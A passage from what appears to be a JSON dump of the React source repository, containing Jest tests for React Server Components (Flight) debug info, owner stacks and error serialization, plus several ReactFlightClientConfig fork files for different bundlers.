'Seb',\n          },\n        };\n        expect(getDebugInfo(greeting)).toEqual([\n          {time: 12},\n          greetInfo,\n          {time: 13},\n          {\n            name: 'Container',\n            env: 'Server',\n            key: null,\n            owner: greetInfo,\n            stack: '    in Greeting (at **)',\n            props: {\n              children: expect.objectContaining({\n                type: 'span',\n                props: {\n                  children: ['Hello, ', 'Seb'],\n                },\n              }),\n            },\n          },\n          {time: 14},\n        ]);\n        // The owner that created the span was the outer server component.\n        // We expect the debug info to be referentially equal to the owner.\n        expect(greeting._owner).toBe(greeting._debugInfo[1]);\n      } else {\n        expect(greeting._debugInfo).toBe(undefined);\n        expect(greeting._owner).toBe(undefined);\n      }\n      ReactNoop.render(greeting);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<span>Hello, Seb</span>);\n  });\n\n  // @gate __DEV__\n  it('can get the component owner stacks during rendering in dev', () => {\n    let stack;\n\n    function Foo() {\n      return ReactServer.createElement(Bar, null);\n    }\n    function Bar() {\n      return ReactServer.createElement(\n        'div',\n        null,\n        ReactServer.createElement(Baz, null),\n      );\n    }\n\n    function Baz() {\n      stack = ReactServer.captureOwnerStack();\n      return ReactServer.createElement('span', null, 'hi');\n    }\n    ReactNoopFlightServer.render(\n      ReactServer.createElement(\n        'div',\n        null,\n        ReactServer.createElement(Foo, null),\n      ),\n    );\n\n    expect(normalizeCodeLocInfo(stack)).toBe(\n      '\\n    in Bar (at **)' + '\\n    in Foo (at **)',\n    );\n  });\n\n  // @gate __DEV__\n  it('can track owner for a flight response created in another render', async () => {\n    jest.resetModules();\n    jest.mock('react', () => ReactServer);\n    // For this to work the Flight Client needs to be the react-server version.\n    const ReactNoopFlightClienOnTheServer = require('react-noop-renderer/flight-client');\n    jest.resetModules();\n    jest.mock('react', () => React);\n\n    let stack;\n\n    function Component() {\n      stack = ReactServer.captureOwnerStack();\n      return ReactServer.createElement('span', null, 'hi');\n    }\n\n    const ClientComponent = clientReference(Component);\n\n    function ThirdPartyComponent() {\n      return ReactServer.createElement(ClientComponent);\n    }\n\n    // This is rendered outside the render to ensure we don't inherit anything accidental\n    // by being in the same environment which would make it seem like it works when it doesn't.\n    const thirdPartyTransport = ReactNoopFlightServer.render(\n      {children: ReactServer.createElement(ThirdPartyComponent)},\n      {\n        environmentName: 'third-party',\n      },\n    );\n\n    async function fetchThirdParty() {\n      return ReactNoopFlightClienOnTheServer.read(thirdPartyTransport);\n    }\n\n    async function FirstPartyComponent() {\n      // This component fetches from a third party\n      const thirdParty = await fetchThirdParty();\n      return thirdParty.children;\n    }\n    function App() {\n      return ReactServer.createElement(FirstPartyComponent);\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      ReactServer.createElement(App),\n    );\n\n    await act(async () => {\n      const root = await ReactNoopFlightClient.read(transport);\n      ReactNoop.render(root);\n    });\n\n    expect(normalizeCodeLocInfo(stack)).toBe(\n      '\\n    in ThirdPartyComponent (at **)' +\n        '\\n    in createResponse (at **)' + // These two internal frames should\n        '\\n    in read (at **)' + // ideally not be included.\n        '\\n    in fetchThirdParty (at **)' +\n        '\\n    in FirstPartyComponent (at **)' +\n        '\\n    in App (at **)',\n    );\n  });\n\n  // @gate __DEV__\n  it('can get the component owner stacks for onError in dev', async () => {\n    const thrownError = new Error('hi');\n    let caughtError;\n    let ownerStack;\n\n    function Foo() {\n      return ReactServer.createElement(Bar, null);\n    }\n    function Bar() {\n      return ReactServer.createElement(\n        'div',\n        null,\n        ReactServer.createElement(Baz, null),\n      );\n    }\n    function Baz() {\n      throw thrownError;\n    }\n\n    ReactNoopFlightServer.render(\n      ReactServer.createElement(\n        'div',\n        null,\n        ReactServer.createElement(Foo, null),\n      ),\n      {\n        onError(error, errorInfo) {\n          caughtError = error;\n          ownerStack = ReactServer.captureOwnerStack\n            ? ReactServer.captureOwnerStack()\n            : null;\n        },\n      },\n    );\n\n    expect(caughtError).toBe(thrownError);\n    expect(normalizeCodeLocInfo(ownerStack)).toBe(\n      '\\n    in Bar (at **)' + '\\n    in Foo (at **)',\n    );\n  });\n\n  it('should include only one component stack in replayed logs (if DevTools or polyfill adds them)', () => {\n    class MyError extends Error {\n      toJSON() {\n        return 123;\n      }\n    }\n\n    function Foo() {\n      return ReactServer.createElement('div', null, [\n        'Womp womp: ',\n        new MyError('spaghetti'),\n      ]);\n    }\n\n    function Bar() {\n      const array = [];\n      // Trigger key warning\n      array.push(ReactServer.createElement(Foo));\n      return ReactServer.createElement('div', null, array);\n    }\n\n    function App() {\n      return ReactServer.createElement(Bar);\n    }\n\n    // While we're on the server we need to have the Server version active to track component stacks.\n    jest.resetModules();\n    jest.mock('react', () => ReactServer);\n    const transport = ReactNoopFlightServer.render(\n      ReactServer.createElement(App),\n    );\n\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        ' See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in Bar (at **)\\n' +\n        '    in App (at **)',\n      'Error objects cannot be rendered as text children. Try formatting it using toString().\\n' +\n        '  <div>Womp womp: {Error}</div>\\n' +\n        '                  ^^^^^^^\\n' +\n        '    in Foo (at **)\\n' +\n        '    in Bar (at **)\\n' +\n        '    in App (at **)',\n    ]);\n\n    // Replay logs on the client\n    jest.resetModules();\n    jest.mock('react', () => React);\n    ReactNoopFlightClient.read(transport);\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.' +\n        ' See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in Bar (at **)\\n' +\n        '    in App (at **)',\n      'Error objects cannot be rendered as text children. Try formatting it using toString().\\n' +\n        '  <div>Womp womp: {Error}</div>\\n' +\n        '                  ^^^^^^^\\n' +\n        '    in Foo (at **)\\n' +\n        '    in Bar (at **)\\n' +\n        '    in App (at **)',\n    ]);\n  });\n\n  it('can filter out stack frames of a serialized error in dev', async () => {\n    async function bar() {\n      throw new Error('my-error');\n    }\n\n    async function intermediate() {\n      await bar();\n    }\n\n    async function foo() {\n      await intermediate();\n    }\n\n    const rejectedPromise = foo();\n    const transport = ReactNoopFlightServer.render(\n      {model: rejectedPromise},\n      {\n        onError(x) {\n          return `digest(\"${x.message}\")`;\n        },\n        filterStackFrame(url, functionName, lineNumber, columnNumber) {\n          return functionName !== 'intermediate';\n        },\n      },\n    );\n\n    let originalError;\n    try {\n      await rejectedPromise;\n    } catch (x) {\n      originalError = x;\n    }\n\n    const root = await ReactNoopFlightClient.read(transport);\n    let caughtError;\n    try {\n      await root.model;\n    } catch (x) {\n      caughtError = x;\n    }\n    if (__DEV__) {\n      expect(caughtError.message).toBe(originalError.message);\n      expect(normalizeCodeLocInfo(caughtError.stack)).toContain(\n        '\\n    in bar (at **)' + '\\n    in foo (at **)',\n      );\n    }\n    expect(normalizeCodeLocInfo(originalError.stack)).toContain(\n      '\\n    in bar (at **)' +\n        '\\n    in intermediate (at **)' +\n        '\\n    in foo (at **)',\n    );\n    expect(caughtError.digest).toBe('digest(\"my-error\")');\n  });\n\n  it('can transport function names in stackframes in dev even without eval', async () => {\n    function a() {\n      return b();\n    }\n    function b() {\n      return c();\n    }\n    function c() {\n      return new Error('boom');\n    }\n\n    // eslint-disable-next-line no-eval\n    const previousEval = globalThis.eval.bind(globalThis);\n    // eslint-disable-next-line no-eval\n    globalThis.eval = () => {\n      throw new Error('eval is disabled');\n    };\n\n    try {\n      const transport = ReactNoopFlightServer.render(\n        {model: a()},\n        {onError: () => 'digest'},\n      );\n\n      const root = await ReactNoopFlightClient.read(transport);\n      const receivedError = await root.model;\n\n      if (__DEV__) {\n        const normalizedErrorStack = normalizeCodeLocInfo(\n          receivedError.stack.split('\\n').slice(0, 4).join('\\n'),\n        );\n\n        expect(normalizedErrorStack).toEqual(\n          'Error: boom' +\n            '\\n    in c (at **)' +\n            '\\n    in b (at **)' +\n            '\\n    in a (at **)',\n        );\n        assertConsoleErrorDev([\n          'eval() is not supported in this environment. ' +\n            'React requires eval() in development mode for various debugging features ' +\n            'like reconstructing callstacks from a different environment.\\n' +\n            'React will never use eval() in production mode',\n        ]);\n      } else {\n        expect(receivedError.message).toEqual(\n          'An error occurred in the Server Components render. The specific message is omitted in production builds to avoid leaking sensitive details. A digest property is included on this error instance which may provide additional details about the nature of the error.',\n        );\n        expect(receivedError).not.toHaveProperty('digest');\n      }\n    } finally {\n      // eslint-disable-next-line no-eval\n      globalThis.eval = previousEval;\n    }\n  });\n\n  // @gate __DEV__  && enableComponentPerformanceTrack\n  it('can render deep but cut off JSX in debug info', async () => {\n    function createDeepJSX(n) {\n      if (n <= 0) {\n        return null;\n      }\n      return <div>{createDeepJSX(n - 1)}</div>;\n    }\n\n    function ServerComponent(props) {\n      return <div>not using props</div>;\n    }\n\n    const transport = ReactNoopFlightServer.render({\n      root: (\n        <ServerComponent>\n          {createDeepJSX(100) /* deper than objectLimit */}\n        </ServerComponent>\n      ),\n    });\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      const root = rootModel.root;\n      const children = root._debugInfo[1].props.children;\n      expect(children.type).toBe('div');\n      expect(children.props.children.type).toBe('div');\n      ReactNoop.render(root);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<div>not using props</div>);\n  });\n\n  // @gate __DEV__ && enableComponentPerformanceTrack\n  it('can render deep but cut off Map/Set in debug info', async () => {\n    function createDeepMap(n) {\n      if (n <= 0) {\n        return null;\n      }\n      const map = new Map();\n      map.set('key', createDeepMap(n - 1));\n      return map;\n    }\n\n    function createDeepSet(n) {\n      if (n <= 0) {\n        return null;\n      }\n      const set = new Set();\n      set.add(createDeepSet(n - 1));\n      return set;\n    }\n\n    function ServerComponent(props) {\n      return <div>not using props</div>;\n    }\n\n    const transport = ReactNoopFlightServer.render({\n      set: (\n        <ServerComponent\n          set={createDeepSet(100) /* deper than objectLimit */}\n        />\n      ),\n      map: (\n        <ServerComponent\n          map={createDeepMap(100) /* deper than objectLimit */}\n        />\n      ),\n    });\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport);\n      const set = rootModel.set._debugInfo[1].props.set;\n      const map = rootModel.map._debugInfo[1].props.map;\n      expect(set instanceof Set).toBe(true);\n      expect(set.size).toBe(1);\n      // eslint-disable-next-line no-for-of-loops/no-for-of-loops\n      for (const entry of set) {\n        expect(entry instanceof Set).toBe(true);\n        break;\n      }\n\n      expect(map instanceof Map).toBe(true);\n      expect(map.size).toBe(1);\n      expect(map.get('key') instanceof Map).toBe(true);\n\n      ReactNoop.render(rootModel.set);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<div>not using props</div>);\n  });\n\n  // @gate !__DEV__ || enableComponentPerformanceTrack\n  it('produces correct parent stacks', async () => {\n    function Container() {\n      return ReactServer.createElement('div', null);\n    }\n    function ContainerParent() {\n      return ReactServer.createElement(Container, null);\n    }\n    function App() {\n      return ReactServer.createElement(\n        'main',\n        null,\n        ReactServer.createElement(ContainerParent, null),\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render({\n      root: ReactServer.createElement(App, null),\n    });\n\n    await act(async () => {\n      const {root} = await ReactNoopFlightClient.read(transport);\n\n      ReactNoop.render(root);\n\n      expect(root.type).toBe('main');\n      if (__DEV__) {\n        const div = root.props.children;\n        expect(getDebugInfo(div)).toEqual([\n          {\n            time: 14,\n          },\n          {\n            env: 'Server',\n            key: null,\n            name: 'ContainerParent',\n            owner: {\n              env: 'Server',\n              key: null,\n              name: 'App',\n              props: {},\n              stack: '    in Object.<anonymous> (at **)',\n            },\n            props: {},\n            stack: '    in App (at **)',\n          },\n          {\n            time: 15,\n          },\n          {\n            env: 'Server',\n            key: null,\n            name: 'Container',\n            owner: {\n              env: 'Server',\n              key: null,\n              name: 'ContainerParent',\n              owner: {\n                env: 'Server',\n                key: null,\n                name: 'App',\n                props: {},\n                stack: '    in Object.<anonymous> (at **)',\n              },\n              props: {},\n              stack: '    in App (at **)',\n            },\n            props: {},\n            stack: '    in ContainerParent (at **)',\n          },\n          {\n            time: 16,\n          },\n        ]);\n        expect(getDebugInfo(root)).toEqual([\n          {\n            time: 12,\n          },\n          {\n            env: 'Server',\n            key: null,\n            name: 'App',\n            props: {},\n            stack: '    in Object.<anonymous> (at **)',\n          },\n          {\n            time: 13,\n          },\n        ]);\n      } else {\n        expect(root._debugInfo).toBe(undefined);\n        expect(root._owner).toBe(undefined);\n      }\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <main>\n        <div />\n      </main>,\n    );\n  });\n\n  // @gate enableOptimisticKey\n  it('collapses optimistic keys to an optimistic key', async () => {\n    function Bar({text}) {\n      return <div />;\n    }\n    function Foo() {\n      return <Bar key={ReactServer.optimisticKey} />;\n    }\n    const transport = ReactNoopFlightServer.render({\n      element: <Foo key=\"Outer Key\" />,\n    });\n    const model = await ReactNoopFlightClient.read(transport);\n    expect(model.element.key).toBe(React.optimisticKey);\n  });\n\n  it('can use a JSX element exported as a client reference in multiple server components', async () => {\n    const ClientReference = clientReference(React.createElement('span'));\n\n    function Foo() {\n      return ClientReference;\n    }\n\n    function Bar() {\n      return ClientReference;\n    }\n\n    function App() {\n      return ReactServer.createElement(\n        'div',\n        null,\n        ReactServer.createElement(Foo),\n        ReactServer.createElement(Bar),\n      );\n    }\n\n    const transport = ReactNoopFlightServer.render(\n      ReactServer.createElement(App),\n    );\n\n    await act(async () => {\n      const result = await ReactNoopFlightClient.read(transport);\n      ReactNoop.render(result);\n\n      if (__DEV__) {\n        // TODO: Debug info is dropped for frozen elements (client-created JSX\n        // exported as a client reference in this case). Ideally we'd clone the\n        // element so that each context gets its own mutable copy with correct\n        // debug info. When fixed, foo should have Foo's debug info and bar should\n        // have Bar's debug info.\n        const [foo, bar] = result.props.children;\n        expect(getDebugInfo(foo)).toBe(null);\n        expect(getDebugInfo(bar)).toBe(null);\n      }\n    });\n\n    // TODO: With cloning, each context would get its own element copy, so this\n    // key warning should go away.\n    assertConsoleErrorDev([\n      'Each child in a list should have a unique \"key\" prop.\\n\\n' +\n        'Check the top-level render call using <div>. ' +\n        'See https://react.dev/link/warning-keys for more information.\\n' +\n        '    in span (at **)',\n    ]);\n\n    expect(ReactNoop).toMatchRenderedOutput(\n      <div>\n        <span />\n        <span />\n      </div>,\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-client/src/__tests__/ReactFlightDebugChannel-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nif (typeof Blob === 'undefined') {\n  global.Blob = require('buffer').Blob;\n}\nif (typeof File === 'undefined' || typeof FormData === 'undefined') {\n  global.File = require('undici').File;\n  global.FormData = require('undici').FormData;\n}\n\nlet act;\nlet React;\nlet ReactNoop;\nlet ReactNoopFlightServer;\nlet ReactNoopFlightClient;\nlet getDebugInfo;\n\ndescribe('ReactFlight', () => {\n  beforeEach(() => {\n    // Mock performance.now for timing tests\n    let time = 10;\n    const now = jest.fn().mockImplementation(() => {\n      return time++;\n    });\n    Object.defineProperty(performance, 'timeOrigin', {\n      value: time,\n      configurable: true,\n    });\n    Object.defineProperty(performance, 'now', {\n      value: now,\n      configurable: true,\n    });\n\n    jest.resetModules();\n    jest.mock('react', () => require('react/react.react-server'));\n    ReactNoopFlightServer = require('react-noop-renderer/flight-server');\n    // This stores the state so we need to preserve it\n    const flightModules = require('react-noop-renderer/flight-modules');\n    jest.resetModules();\n    __unmockReact();\n    jest.mock('react-noop-renderer/flight-modules', () => flightModules);\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    ReactNoopFlightClient = require('react-noop-renderer/flight-client');\n    act = require('internal-test-utils').act;\n\n    getDebugInfo = require('internal-test-utils').getDebugInfo.bind(null, {\n      useV8Stack: true,\n      ignoreRscStreamInfo: true,\n    });\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  // @gate __DEV__ && enableComponentPerformanceTrack\n  it('can render deep but cut off JSX in debug info', async () => {\n    function createDeepJSX(n) {\n      if (n <= 0) {\n        return null;\n      }\n      return <div>{createDeepJSX(n - 1)}</div>;\n    }\n\n    function ServerComponent(props) {\n      return <div>not using props</div>;\n    }\n\n    const debugChannel = {onMessage(message) {}};\n\n    const transport = ReactNoopFlightServer.render(\n      {\n        root: (\n          <ServerComponent>\n            {createDeepJSX(100) /* deper than objectLimit */}\n          </ServerComponent>\n        ),\n      },\n      {debugChannel},\n    );\n\n    await act(async () => {\n      const rootModel = await ReactNoopFlightClient.read(transport, {\n        debugChannel,\n      });\n      const root = rootModel.root;\n      const children = getDebugInfo(root)[1].props.children;\n      expect(children.type).toBe('div');\n      expect(children.props.children.type).toBe('div');\n      ReactNoop.render(root);\n    });\n\n    expect(ReactNoop).toMatchRenderedOutput(<div>not using props</div>);\n  });\n});\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.custom.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is a host config that's used for the `react-server` package on npm.\n// It is only used by third-party renderers.\n//\n// Its API lets you pass the host config as an argument.\n// However, inside the `react-server` we treat host config as a module.\n// This file is a shim between two worlds.\n//\n// It works because the `react-server` bundle is wrapped in something like:\n//\n// module.exports = function ($$$config) {\n//   /* renderer code */\n// }\n//\n// So `$$$config` looks like a global variable, but it's\n// really an argument to a top-level wrapping function.\n\ndeclare const $$$config: any;\n\nexport opaque type ModuleLoading = mixed;\nexport opaque type ServerConsumerModuleMap = mixed;\nexport opaque type ServerManifest = mixed;\nexport opaque type ServerReferenceId = string;\nexport opaque type ClientReferenceMetadata = mixed;\nexport opaque type ClientReference<T> = mixed; // eslint-disable-line no-unused-vars\nexport const resolveClientReference = $$$config.resolveClientReference;\nexport const resolveServerReference = $$$config.resolveServerReference;\nexport const preloadModule = $$$config.preloadModule;\nexport const requireModule = $$$config.requireModule;\nexport const getModuleDebugInfo = $$$config.getModuleDebugInfo;\nexport const dispatchHint = $$$config.dispatchHint;\nexport const prepareDestinationForModule =\n  $$$config.prepareDestinationForModule;\nexport const usedWithSSR = true;\n\nexport opaque type Source = mixed;\n\nexport opaque type StringDecoder = mixed;\n\nexport const createStringDecoder = $$$config.createStringDecoder;\nexport const readPartialStringChunk = $$$config.readPartialStringChunk;\nexport const readFinalStringChunk = $$$config.readFinalStringChunk;\n\nexport const bindToConsole = $$$config.bindToConsole;\n\nexport const rendererVersion = $$$config.rendererVersion;\nexport const rendererPackageName = $$$config.rendererPackageName;\n\nexport const checkEvalAvailabilityOnceDev =\n  $$$config.checkEvalAvailabilityOnceDev;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-esm.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-esm';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigWeb';\nexport * from 'react-client/src/ReactClientConsoleConfigBrowser';\nexport * from 'react-client/src/ReactClientDebugConfigBrowser';\nexport * from 'react-server-dom-esm/src/client/ReactFlightClientConfigBundlerESM';\nexport * from 'react-server-dom-esm/src/client/ReactFlightClientConfigTargetESMBrowser';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = false;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-parcel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-parcel';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigWeb';\nexport * from 'react-client/src/ReactClientConsoleConfigBrowser';\nexport * from 'react-client/src/ReactClientDebugConfigBrowser';\nexport * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel';\nexport * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelBrowser';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = false;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-browser-turbopack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-turbopack';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigWeb';\nexport * from 'react-client/src/ReactClientConsoleConfigBrowser';\nexport * from 'react-client/src/ReactClientDebugConfigBrowser';\nexport * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack';\nexport * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackBrowser';\nexport * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackBrowser';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = false;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-webpack';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigWeb';\nexport * from 'react-client/src/ReactClientConsoleConfigBrowser';\nexport * from 'react-client/src/ReactClientDebugConfigBrowser';\nexport * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack';\nexport * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackBrowser';\nexport * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackBrowser';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = false;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-bun.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-bun';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigWeb';\nexport * from 'react-client/src/ReactClientConsoleConfigPlain';\nexport * from 'react-client/src/ReactClientDebugConfigPlain';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\n\nexport opaque type ModuleLoading = mixed;\nexport opaque type ServerConsumerModuleMap = mixed;\nexport opaque type ServerManifest = mixed;\nexport opaque type ServerReferenceId = string;\nexport opaque type ClientReferenceMetadata = mixed;\nexport opaque type ClientReference<T> = mixed; // eslint-disable-line no-unused-vars\nexport const resolveClientReference: any = null;\nexport const resolveServerReference: any = null;\nexport const preloadModule: any = null;\nexport const requireModule: any = null;\nexport const getModuleDebugInfo: any = null;\nexport const prepareDestinationForModule: any = null;\nexport const usedWithSSR = true;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-parcel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-parcel';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigWeb';\nexport * from 'react-client/src/ReactClientConsoleConfigServer';\nexport * from 'react-client/src/ReactClientDebugConfigPlain';\nexport * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel';\nexport * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelServer';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = true;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-turbopack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-turbopack';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigWeb';\nexport * from 'react-client/src/ReactClientConsoleConfigServer';\nexport * from 'react-client/src/ReactClientDebugConfigPlain';\nexport * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack';\nexport * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer';\nexport * from 'react-server-dom-turbopack/src/client/ReactFlightClientConfigTargetTurbopackServer';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = true;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-edge-webpack.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-webpack';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigWeb';\nexport * from 'react-client/src/ReactClientConsoleConfigServer';\nexport * from 'react-client/src/ReactClientDebugConfigPlain';\nexport * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack';\nexport * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer';\nexport * from 'react-server-dom-webpack/src/client/ReactFlightClientConfigTargetWebpackServer';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = true;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-legacy.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'not-used';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigWeb';\nexport * from 'react-client/src/ReactClientConsoleConfigBrowser';\nexport * from 'react-client/src/ReactClientDebugConfigBrowser';\n\nexport type Response = any;\nexport opaque type ModuleLoading = mixed;\nexport opaque type ServerConsumerModuleMap = mixed;\nexport opaque type ServerManifest = mixed;\nexport opaque type ServerReferenceId = string;\nexport opaque type ClientReferenceMetadata = mixed;\nexport opaque type ClientReference<T> = mixed; // eslint-disable-line no-unused-vars\nexport const resolveClientReference: any = null;\nexport const resolveServerReference: any = null;\nexport const preloadModule: any = null;\nexport const requireModule: any = null;\nexport const getModuleDebugInfo: any = null;\nexport const dispatchHint: any = null;\nexport const prepareDestinationForModule: any = null;\nexport const usedWithSSR = true;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-node-esm.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-esm';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigNode';\nexport * from 'react-client/src/ReactClientConsoleConfigServer';\nexport * from 'react-client/src/ReactClientDebugConfigNode';\nexport * from 'react-server-dom-esm/src/client/ReactFlightClientConfigBundlerESM';\nexport * from 'react-server-dom-esm/src/client/ReactFlightClientConfigTargetESMServer';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = true;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-node-parcel.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {default as rendererVersion} from 'shared/ReactVersion';\nexport const rendererPackageName = 'react-server-dom-parcel';\n\nexport * from 'react-client/src/ReactFlightClientStreamConfigNode';\nexport * from 'react-client/src/ReactClientConsoleConfigServer';\nexport * from 'react-client/src/ReactClientDebugConfigNode';\nexport * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel';\nexport * from 'react-server-dom-parcel/src/client/ReactFlightClientConfigTargetParcelServer';\nexport * from 'react-dom-bindings/src/shared/ReactFlightClientConfigDOM';\nexport const usedWithSSR = true;\n"
  },
  {
    "path": "packages/react-client/src/forks/ReactFlightClientConfig.dom-node-turbopack.js",
